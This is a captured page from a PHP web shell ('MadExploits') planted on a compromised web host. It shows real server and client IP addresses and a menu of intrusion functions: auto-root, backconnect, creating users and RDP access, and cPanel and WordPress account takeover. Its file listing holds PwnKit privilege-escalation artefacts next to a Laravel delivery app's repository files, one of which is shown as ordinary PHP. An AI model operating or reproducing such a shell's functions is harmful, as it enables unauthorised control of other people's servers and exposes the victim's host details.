Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Repositories /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AddonRepository.php
5.35
KB
-rwxr-xr-x
AttributeRepository.php
2.79
KB
-rwxr-xr-x
BannerRepository.php
2.86
KB
-rwxr-xr-x
BrandRepository.php
3.59
KB
-rwxr-xr-x
CashBackRepository.php
2.54
KB
-rwxr-xr-x
CategoryRepository.php
7.18
KB
-rwxr-xr-x
CommonConditionRepository.php
3.04
KB
-rwxr-xr-x
ConversationRepository.php
5.75
KB
-rwxr-xr-x
CouponRepository.php
3.05
KB
-rwxr-xr-x
CustomRoleRepository.php
2.67
KB
-rwxr-xr-x
DeliveryManRepository.php
8.83
KB
-rwxr-xr-x
DmReviewRepository.php
3.2
KB
-rwxr-xr-x
DmVehicleRepository.php
4.65
KB
-rwxr-xr-x
EmployeeRepository.php
5
KB
-rwxr-xr-x
MessageRepository.php
1.85
KB
-rwxr-xr-x
ModuleRepository.php
3.53
KB
-rwxr-xr-x
NotificationRepository.php
2.83
KB
-rwxr-xr-x
OrderTransactionRepository.php
2.4
KB
-rwxr-xr-x
StoreRepository.php
1.89
KB
-rwxr-xr-x
TranslationRepository.php
3.81
KB
-rwxr-xr-x
UnitRepository.php
2.55
KB
-rwxr-xr-x
UserInfoRepository.php
1.96
KB
-rwxr-xr-x
UserNotificationRepository.php
2.06
KB
-rwxr-xr-x
WalletBonusRepository.php
2.35
KB
-rwxr-xr-x
ZoneRepository.php
3.95
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ZoneRepository.php
<?php namespace App\Repositories; use App\Contracts\Repositories\ZoneRepositoryInterface; use App\Models\Zone; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; use Illuminate\Pagination\LengthAwarePaginator; class ZoneRepository implements ZoneRepositoryInterface { public function __construct(protected Zone $zone) { } public function add(array $data): string|object { $zone = $this->zone->newInstance(); foreach ($data as $key => $column) { $zone[$key] = $column; } $zone->save(); return $zone; } public function getFirstWhere(array $params, array $relations = []): ?Model { return $this->zone->with($relations)->where($params)->first(); } public function getList(array $orderBy = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { return $this->zone->with($relations)->get(); } public function getListWhere(string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { $key = explode(' ', $searchValue); return $this->zone->withCount(['stores','deliverymen']) ->when(isset($key) , function($q) use($key){ $q->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }); }) ->with($relations) ->latest()->paginate($dataLimit); } public function update(string $id, array $data): bool|string|object { $zone = $this->zone->find($id); foreach ($data as $key => $column) { $zone[$key] = $column; } $zone->save(); return $zone; } public function delete(string $id): bool { $zone = $this->zone->find($id); $zone->translations()->delete(); $zone->delete(); return true; } public function getFirstWithoutGlobalScopeWhere(array $params, array $relations = []): ?Model { return $this->zone->withoutGlobalScope('translate')->where($params)->first(); } public function getAll(): Collection { return $this->zone->all(); } public function getWithCoordinateWhere(array $params): ?Model { return $this->zone->withoutGlobalScopes()->selectRaw("*,ST_AsText(ST_Centroid(`coordinates`)) as center")->where($params)->first(); } public function getExportList(Request $request): Collection { $key = explode(' ', $request['search']); return $this->zone->withCount(['stores','deliverymen']) ->when(isset($key) , function($q) use($key){ $q->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }); }) ->get(); } public function getLatest(array $relations = []): ?Model { return $this->zone->with($relations)->latest()->first(); } public function zoneModuleSetupUpdate(string $id, array $data, array $moduleData): bool|string|object { $zone = $this->zone->find($id); foreach ($data as $key => $column) { $zone[$key] = $column; } $zone->modules()->sync($moduleData); $zone->save(); return $zone; } public function getWithCountLatest(array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { return $this->zone->withCount($relations)->latest()->paginate($dataLimit); } public function getActiveListExcept(array $params): Collection { return $this->zone->whereNot($params)->active()->get(); } }
Close